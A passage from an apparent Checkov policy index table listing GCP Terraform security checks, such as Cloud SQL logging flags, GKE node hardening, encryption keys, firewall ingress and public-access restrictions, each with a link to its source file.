[GoogleCloudPostgreSqlLogMinMessage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinMessage.py)                                                           |\n| 6466 | CKV_GCP_56               | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database 'log_temp_files flag is set to '0'                                                                                                                                            | Terraform               | [GoogleCloudPostgreSqlLogTemp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogTemp.py)                                                                       |\n| 6467 | CKV_GCP_57               | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database 'log_min_duration_statement' flag is set to '-1'                                                                                                                              | Terraform               | [GoogleCloudPostgreSqlLogMinDuration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinDuration.py)                                                         |\n| 6468 | CKV_GCP_58               | resource                         | google_sql_database_instance                                                                     | Ensure SQL database 'cross db ownership chaining' flag is set to 'off'                                                                                                                                   | Terraform               | [GoogleCloudSqlServerCrossDBOwnershipChaining.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerCrossDBOwnershipChaining.py)                                       |\n| 6469 | CKV_GCP_59               | resource                         | google_sql_database_instance                                                                     | Ensure SQL database 'contained database authentication' flag is set to 'off'                                                                                                                             | Terraform               | [GoogleCloudSqlServerContainedDBAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerContainedDBAuthentication.py)                                     |\n| 6470 | CKV_GCP_60               | resource                         | google_sql_database_instance                                                                     | Ensure Cloud SQL database does not have public IP                                                                                                                                                        | Terraform               | [GoogleCloudSqlServerNoPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerNoPublicIP.py)                                                                   |\n| 6471 | CKV_GCP_61               | resource                         | google_container_cluster                                                                         | Enable VPC Flow Logs and Intranode Visibility                                                                                                                                                            | Terraform               | [GKEEnableVPCFlowLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnableVPCFlowLogs.py)                                                                                       |\n| 6472 | CKV_GCP_62               | resource                         | google_storage_bucket                                                                            | Bucket should log access                                                                                                                                                                                 | Terraform               | [CloudStorageLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageLogging.py)                                                                                         |\n| 6473 | CKV_GCP_63               | resource                         | google_storage_bucket                                                                            | Bucket should not log to itself                                                                                                                                                                          | Terraform               | [CloudStorageSelfLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageSelfLogging.py)                                                                                 |\n| 6474 | CKV_GCP_64               | resource                         | google_container_cluster                                                                         | Ensure clusters are created with Private Nodes                                                                                                                                                           | Terraform               | [GKEPrivateNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPrivateNodes.py)                                                                                                 |\n| 6475 | CKV_GCP_65               | resource                         | google_container_cluster                                                                         | Manage Kubernetes RBAC users with Google Groups for GKE                                                                                                                                                  | Terraform               | [GKEKubernetesRBACGoogleGroups.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEKubernetesRBACGoogleGroups.py)                                                                     |\n| 6476 | CKV_GCP_66               | resource                         | google_container_cluster                                                                         | Ensure use of Binary Authorization                                                                                                                                                                       | Terraform               | [GKEBinaryAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEBinaryAuthorization.py)                                                                                   |\n| 6477 | CKV_GCP_68               | resource                         | google_container_cluster                                                                         | Ensure Secure Boot for Shielded GKE Nodes is Enabled                                                                                                                                                     | Terraform               | [GKESecureBootforShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py)                                                                     |\n| 6478 | CKV_GCP_68               | resource                         | google_container_node_pool                                                                       | Ensure Secure Boot for Shielded GKE Nodes is Enabled                                                                                                                                                     | Terraform               | [GKESecureBootforShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py)                                                                     |\n| 6479 | CKV_GCP_69               | resource                         | google_container_cluster                                                                         | Ensure the GKE Metadata Server is Enabled                                                                                                                                                                | Terraform               | [GKEMetadataServerIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py)                                                                           |\n| 6480 | CKV_GCP_69               | resource                         | google_container_node_pool                                                                       | Ensure the GKE Metadata Server is Enabled                                                                                                                                                                | Terraform               | [GKEMetadataServerIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py)                                                                           |\n| 6481 | CKV_GCP_70               | resource                         | google_container_cluster                                                                         | Ensure the GKE Release Channel is set                                                                                                                                                                    | Terraform               | [GKEReleaseChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEReleaseChannel.py)                                                                                             |\n| 6482 | CKV_GCP_71               | resource                         | google_container_cluster                                                                         | Ensure Shielded GKE Nodes are Enabled                                                                                                                                                                    | Terraform               | [GKEEnableShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnableShieldedNodes.py)                                                                                   |\n| 6483 | CKV_GCP_72               | resource                         | google_container_cluster                                                                         | Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled                                                                                                                                            | Terraform               | [GKEEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py)                                                                       |\n| 6484 | CKV_GCP_72               | resource                         | google_container_node_pool                                                                       | Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled                                                                                                                                            | Terraform               | [GKEEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py)                                                                       |\n| 6485 | CKV_GCP_73               | resource                         | google_compute_security_policy                                                                   | Ensure Cloud Armor prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                                  | Terraform               | [CloudArmorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudArmorWAFACLCVE202144228.py)                                                                       |\n| 6486 | CKV_GCP_74               | resource                         | google_compute_subnetwork                                                                        | Ensure that private_ip_google_access is enabled for Subnet                                                                                                                                               | Terraform               | [GoogleSubnetworkPrivateGoogleEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkPrivateGoogleEnabled.py)                                                       |\n| 6487 | CKV_GCP_75               | resource                         | google_compute_firewall                                                                          | Ensure Google compute firewall ingress does not allow unrestricted FTP access                                                                                                                            | Terraform               | [GoogleComputeFirewallUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress21.py)                                           |\n| 6488 | CKV_GCP_76               | resource                         | google_compute_subnetwork                                                                        | Ensure that Private google access is enabled for IPV6                                                                                                                                                    | Terraform               | [GoogleSubnetworkIPV6PrivateGoogleEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkIPV6PrivateGoogleEnabled.py)                                               |\n| 6489 | CKV_GCP_77               | resource                         | google_compute_firewall                                                                          | Ensure Google compute firewall ingress does not allow on ftp port                                                                                                                                        | Terraform               | [GoogleComputeFirewallUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress20.py)                                           |\n| 6490 | CKV_GCP_78               | resource                         | google_storage_bucket                                                                            | Ensure Cloud storage has versioning enabled                                                                                                                                                              | Terraform               | [CloudStorageVersioningEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageVersioningEnabled.py)                                                                     |\n| 6491 | CKV_GCP_79               | resource                         | google_sql_database_instance                                                                     | Ensure SQL database is using latest Major version                                                                                                                                                        | Terraform               | [CloudSqlMajorVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudSqlMajorVersion.py)                                                                                       |\n| 6492 | CKV_GCP_80               | resource                         | google_bigquery_table                                                                            | Ensure Big Query Tables are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                      | Terraform               | [BigQueryTableEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryTableEncryptedWithCMK.py)                                                                     |\n| 6493 | CKV_GCP_81               | resource                         | google_bigquery_dataset                                                                          | Ensure Big Query Datasets are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                    | Terraform               | [BigQueryDatasetEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryDatasetEncryptedWithCMK.py)                                                                 |\n| 6494 | CKV_GCP_82               | resource                         | google_kms_crypto_key                                                                            | Ensure KMS keys are protected from deletion                                                                                                                                                              | Terraform               | [GoogleKMSPreventDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSPreventDestroy.py)                                                                                 |\n| 6495 | CKV_GCP_83               | resource                         | google_pubsub_topic                                                                              | Ensure PubSub Topics are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                         | Terraform               | [CloudPubSubEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudPubSubEncryptedWithCMK.py)                                                                         |\n| 6496 | CKV_GCP_84               | resource                         | google_artifact_registry_repository                                                              | Ensure Artifact Registry Repositories are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                        | Terraform               | [ArtifactRegsitryEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegsitryEncryptedWithCMK.py)                                                               |\n| 6497 | CKV_GCP_85               | resource                         | google_bigtable_instance                                                                         | Ensure Big Table Instances are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                   | Terraform               | [BigTableInstanceEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigTableInstanceEncryptedWithCMK.py)                                                               |\n| 6498 | CKV_GCP_86               | resource                         | google_cloudbuild_worker_pool                                                                    | Ensure Cloud build workers are private                                                                                                                                                                   | Terraform               | [CloudBuildWorkersArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudBuildWorkersArePrivate.py)                                                                         |\n| 6499 | CKV_GCP_87               | resource                         | google_data_fusion_instance                                                                      | Ensure Data fusion instances are private                                                                                                                                                                 | Terraform               | [DataFusionPrivateInstance.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionPrivateInstance.py)                                                                             |\n| 6500 | CKV_GCP_88               | resource                         | google_compute_firewall                                                                          | Ensure Google compute firewall ingress does not allow unrestricted mysql access                                                                                                                          | Terraform               | [GoogleComputeFirewallUnrestrictedIngress3306.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3306.py)                                       |\n| 6501 | CKV_GCP_89               | resource                         | google_notebooks_instance                                                                        | Ensure Vertex AI instances are private                                                                                                                                                                   | Terraform               | [VertexAIPrivateInstance.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIPrivateInstance.py)                                                                                 |\n| 6502 | CKV_GCP_90               | resource                         | google_dataflow_job                                                                              | Ensure data flow jobs are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                        | Terraform               | [DataflowJobEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataflowJobEncryptedWithCMK.py)                                                                         |\n| 6503 | CKV_GCP_91               | resource                         | google_dataproc_cluster                                                                          | Ensure Dataproc cluster is encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                       | Terraform               | [DataprocClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocClusterEncryptedWithCMK.py)                                                                 |\n| 6504 | CKV_GCP_92               | resource                         | google_vertex_ai_dataset                                                                         | Ensure Vertex AI datasets uses a CMK (Customer Managed Key)                                                                                                                                              | Terraform               | [VertexAIDatasetEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIDatasetEncryptedWithCMK.py)                                                                 |\n| 6505 | CKV_GCP_93               | resource                         | google_spanner_database                                                                          | Ensure Spanner Database is encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                       | Terraform               | [SpannerDatabaseEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseEncryptedWithCMK.py)                                                                 |\n| 6506 | CKV_GCP_94               | resource                         | google_dataflow_job                                                                              | Ensure Dataflow jobs are private                                                                                                                                                                         | Terraform               | [DataflowPrivateJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataflowPrivateJob.py)                                                                                           |\n| 6507 | CKV_GCP_95               | resource                         | google_redis_instance                                                                            | Ensure Memorystore for Redis has AUTH enabled                                                                                                                                                            | Terraform               | [MemorystoreForRedisAuthEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/MemorystoreForRedisAuthEnabled.py)                                                                   |\n| 6508 | CKV_GCP_96               | resource                         | google_vertex_ai_metadata_store                                                                  | Ensure Vertex AI Metadata Store uses a CMK (Customer Managed Key)                                                                                                                                        | Terraform               | [VertexAIMetadataStoreEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIMetadataStoreEncryptedWithCMK.py)                                                     |\n| 6509 | CKV_GCP_97               | resource                         | google_redis_instance                                                                            | Ensure Memorystore for Redis uses intransit encryption                                                                                                                                                   | Terraform               | [MemorystoreForRedisInTransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/MemorystoreForRedisInTransitEncryption.py)                                                   |\n| 6510 | CKV_GCP_98               | resource                         | google_dataproc_cluster_iam_binding                                                              | Ensure that Dataproc clusters are not anonymously or publicly accessible                                                                                                                                 | Terraform               | [DataprocPrivateCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py)                                                                                   |\n| 6511 | CKV_GCP_98               | resource                         | google_dataproc_cluster_iam_member                                                               | Ensure that Dataproc clusters are not anonymously or publicly accessible                                                                                                                                 | Terraform               | [DataprocPrivateCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py)                                                                                   |\n| 6512 | CKV_GCP_99               | resource                         | google_pubsub_topic_iam_binding                                                                  | Ensure that Pub/Sub Topics are not anonymously or publicly accessible                                                                                                                                    | Terraform               | [PubSubPrivateTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py)                                                                                           |\n| 6513 | CKV_GCP_99               | resource                         | google_pubsub_topic_iam_member                                                                   | Ensure that Pub/Sub Topics are not anonymously or publicly accessible                                                                                                                                    | Terraform               | [PubSubPrivateTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py)                                                                                           |\n| 6514 | CKV_GCP_100              | resource                         | google_bigquery_table_iam_binding                                                                | Ensure that BigQuery Tables are not anonymously or publicly accessible                                                                                                                                   | Terraform               | [BigQueryPrivateTable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py)                                                                                       |\n| 6515 | CKV_GCP_100              | resource                         | google_bigquery_table_iam_member                                                                 | Ensure that BigQuery Tables are not anonymously or publicly accessible                                                                                                                                   | Terraform               | [BigQueryPrivateTable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py)                                                                                       |\n| 6516 | CKV_GCP_101              | resource                         | google_artifact_registry_repository_iam_binding                                                  | Ensure that Artifact Registry repositories are not anonymously or publicly accessible                                                                                                                    | Terraform               | [ArtifactRegistryPrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py)                                                                         |\n| 6517 | CKV_GCP_101              | resource                         | google_artifact_registry_repository_iam_member                                                   | Ensure that Artifact Registry repositories are not anonymously or publicly accessible                                                                                                                    | Terraform               | [ArtifactRegistryPrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py)                                                                         |\n| 6518 | CKV_GCP_102              | resource                         | google_cloud_run_service_iam_binding                                                             | Ensure that GCP Cloud Run services are not anonymously or publicly accessible                                                                                                                            | Terraform               | [GCPCloudRunPrivateService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py)                                                                             |\n| 6519 | CKV_GCP_102              | resource                         | google_cloud_run_service_iam_member                                                              | Ensure that GCP Cloud Run services are not anonymously or publicly accessible                                                                                                                            | Terraform               | [GCPCloudRunPrivateService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py)                                                                             |\n| 6520 | CKV_GCP_103              | resource                         | google_dataproc_cluster                                                                          | Ensure Dataproc Clusters do not have public IPs                                                                                                                                                          | Terraform               | [DataprocPublicIpCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPublicIpCluster.py)                                                                                 |\n| 6521 | CKV_GCP_104              | resource                         | google_data_fusion_instance                                                                      | Ensure Datafusion has stack driver logging enabled                                                                                                                                                       | Terraform               | [DataFusionStackdriverLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionStackdriverLogs.py)                                                                             |\n| 6522 | CKV_GCP_105              | resource                         | google_data_fusion_instance                                                                      | Ensure Datafusion has stack driver monitoring enabled                                                                                                                                                    | Terraform               | [DataFusionStackdriverMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionStackdriverMonitoring.py)                                                                 |\n| 6523 | CKV_GCP_106              | resource                         | google_compute_firewall                                                                          | Ensure Google compute firewall ingress does not allow unrestricted http port 80 access                                                                                                                   | Terraform               | [GoogleComputeFirewallUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress80.py)                                           |\n| 6524 | CKV_GCP_107              | resource                         | google_cloudfunctions2_function_iam_binding                                                      | Cloud functions should not be public                                                                                                                                                                     | Terraform               | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py)                                                                 |\n| 6525 | CKV_GCP_107              | resource                         | google_cloudfunctions2_function_iam_member                                                       | Cloud functions should not be public                                                                                                                                                                     | Terraform               | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py)                                                                 |\n| 6526 | CKV_GCP_107              | resource                         | google_cloudfunctions_function_iam_binding                                                       | Cloud functions should not be public                                                                                                                                                                     | Terraform               | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py)                                                                 |\n| 6527 | CKV_GCP_107              | resource                         | google_cloudfunctions_function_iam_member                                                        | Cloud functions should not be public                                                                                                                                                                     | Terraform               | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py)                                                                 |\n| 6528 | CKV_GCP_108              | resource                         | google_sql_database_instance                                                                     | Ensure hostnames are logged for GCP PostgreSQL databases                                                                                                                                                 | Terraform               | [GoogleCloudPostgreSqlLogHostname.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogHostname.py)                                                               |\n| 6529 | CKV_GCP_109              | resource                         | google_sql_database_instance                                                                     | Ensure the GCP PostgreSQL database log levels are set to ERROR or lower                                                                                                                                  | Terraform               | [GoogleCloudPostgreSqlLogMinErrorStatement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinErrorStatement.py)                                             |\n| 6530 | CKV_GCP_110              | resource                         | google_sql_database_instance                                                                     | Ensure pgAudit is enabled for your GCP PostgreSQL database                                                                                                                                               | Terraform               | [GoogleCloudPostgreSqlEnablePgaudit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlEnablePgaudit.py)                                                           |\n| 6531 | CKV_GCP_111              | resource                         | google_sql_database_instance                                                                     | Ensure GCP PostgreSQL logs SQL statements                                                                                                                                                                | Terraform               | [GoogleCloudPostgreSqlLogStatement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogStatement.py)                                                             |\n| 6532 | CKV_GCP_112              | resource                         | google_kms_crypto_key_iam_binding                                                                | Ensure KMS policy should not allow public access                                                                                                                                                         | Terraform               | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py)                                                                                       |\n| 6533 | CKV_GCP_112              | resource                         | google_kms_crypto_key_iam_member                                                                 | Ensure KMS policy should not allow public access                                                                                                                                                         | Terraform               | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py)                                                                                       |\n| 6534 | CKV_GCP_112              | resource                         | google_kms_crypto_key_iam_policy                                                                 | Ensure KMS policy should not allow public access                                                                                                                                                         | Terraform               | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py)                                                                                       |\n| 6535 | CKV_GCP_113              | data                             | google_iam_policy                                                                                | Ensure IAM policy should not define public access                                                                                                                                                        | Terraform               | [GooglePolicyIsPrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/gcp/GooglePolicyIsPrivate.py)                                                                                         |\n| 6536 | CKV_GCP_114              | resource                         | google_storage_bucket                                                                            | Ensure public access prevention is enforced on Cloud Storage bucket                                                                                                                                      | Terraform               | [GoogleStoragePublicAccessPrevention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStoragePublicAccessPrevention.py)                                                         |\n| 6537 | CKV_GCP_115              | resource                         | google_organization_iam_binding                                                                  | Ensure basic roles are not used at organization level.                                                                                                                                                   | Terraform               | [GoogleOrgBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py)                                                                                           |\n| 6538 | CKV_GCP_115              | resource                         | google_organization_iam_member                                                                   | Ensure basic roles are not used at organization level.                                                                                                                                                   | Terraform               | [GoogleOrgBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py)                                                                                           |\n| 6539 | CKV_GCP_116              | resource                         | google_folder_iam_binding                                                                        | Ensure basic roles are not used at folder level.                                                                                                                                                         | Terraform               | [GoogleFolderBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py)                                                                                     |\n| 6540 | CKV_GCP_116              | resource                         | google_folder_iam_member                                                                         | Ensure basic roles are not used at folder level.                                                                                                                                                         | Terraform               | [GoogleFolderBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py)                                                                                     |\n| 6541 | CKV_GCP_117              | resource                         | google_project_iam_binding                                                                       | Ensure basic roles are not used at project level.                                                                                                                                                        | Terraform               | [GoogleProjectBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py)                                                                                   |\n| 6542 | CKV_GCP_117              | resource                         | google_project_iam_member                                                                        | Ensure basic roles are not used at project level.                                                                                                                                                        | Terraform               | [GoogleProjectBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py)                                                                                   |\n| 6543 | CKV_GCP_118              | resource                         | google_iam_workload_identity_pool_provider                                                       | Ensure IAM workload identity pool provider is restricted                                                                                                                                                 | Terraform               | [GoogleIAMWorkloadIdentityConditional.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleIAMWorkloadIdentityConditional.py)                                                       |\n| 6544 | CKV_GCP_119              | resource                         | google_spanner_database                                                                          | Ensure Spanner Database has deletion protection enabled                                                                                                                                                  | Terraform               | [SpannerDatabaseDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseDeletionProtection.py)                                                             |\n| 6545 | CKV_GCP_120              | resource                         | google_spanner_database                                                                          | Ensure Spanner Database has drop protection enabled                                                                                                                                                      | Terraform               | [SpannerDatabaseDropProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseDropProtection.py)                                                                     |\n| 6546 | CKV_GCP_121              | resource                         | google_bigquery_table                                                                            | Ensure BigQuery tables have deletion protection enabled                                                                                                                                                  | Terraform               | [BigQueryTableDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryTableDeletionProtection.py)                                                                 |\n| 6547 | CKV_GCP_122              | resource                         | google_bigtable_instance                                                                         | Ensure Big Table Instances have deletion protection enabled                                                                                                                                              | Terraform               | [BigTableInstanceDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigTableInstanceDeletionProtection.py)                                                           |\n| 6548 | CKV_GCP_123              | resource                         | google_container_cluster                                                                         | GKE Don't Use NodePools in the Cluster configuration                                                                                                                                                     | Terraform               | [GKEDontUseNodePools.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEDontUseNodePools.py)                                                                                         |\n| 6549 | CKV_GCP_124              | resource                         | google_cloudfunctions2_function                                                                  | Ensure GCP Cloud Function is not configured with overly permissive Ingress setting                                                                                                                       | Terraform               | [CloudFunctionPermissiveIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py)                                                                   |\n| 6550 | CKV_GCP_124              | resource                         | google_cloudfunctions_function                                                                   | Ensure GCP Cloud Function is not configured with overly permissive Ingress setting                                                                                                                       | Terraform               | [CloudFunctionPermissiveIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py)                                                                   |\n| 6551 | CKV_GCP_125              | resource                         | google_iam_workload_identity_pool_provider                                                       | Ensure GCP GitHub Actions OIDC trust policy is configured securely                                                                                                                                       | Terraform               | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GithubActionsOIDCTrustPolicy.py)                                                                       |\n| 6552 | CKV_GCP_126              | resource                         | google_notebooks_instance                                                                        | Ensure Vertex AI Notebook instances are launched with Shielded VM enabled                                                                                                                                | Terraform               | [GoogleVertexAINotebookShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleVertexAINotebookShieldedVM.py)                                                               |\n| 6553 | CKV_GCP_127              | resource                         | google_notebooks_instance                                                                        | Ensure Integrity Monitoring for Shielded Vertex AI Notebook Instances is Enabled                                                                                                                         | Terraform               | [VertexAINotebookEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAINotebookEnsureIntegrityMonitoring.py)                                             |\n| 6554 | CKV2_GCP_1               | resource                         | google_project_default_service_accounts                                                          | Ensure GKE clusters are not running using the Compute Engine default service account                                                                                                                     | Terraform               | [GKEClustersAreNotUsingDefaultServiceAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GKEClustersAreNotUsingDefaultServiceAccount.yaml)                                 |\n| 6555 | CKV2_GCP_2               | resource                         | google_compute_network                                                                           | Ensure legacy networks do not exist for a project                                                                                                                                                        | Terraform               | [GCPProjectHasNoLegacyNetworks.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPProjectHasNoLegacyNetworks.yaml)                                                             |\n| 6556 | 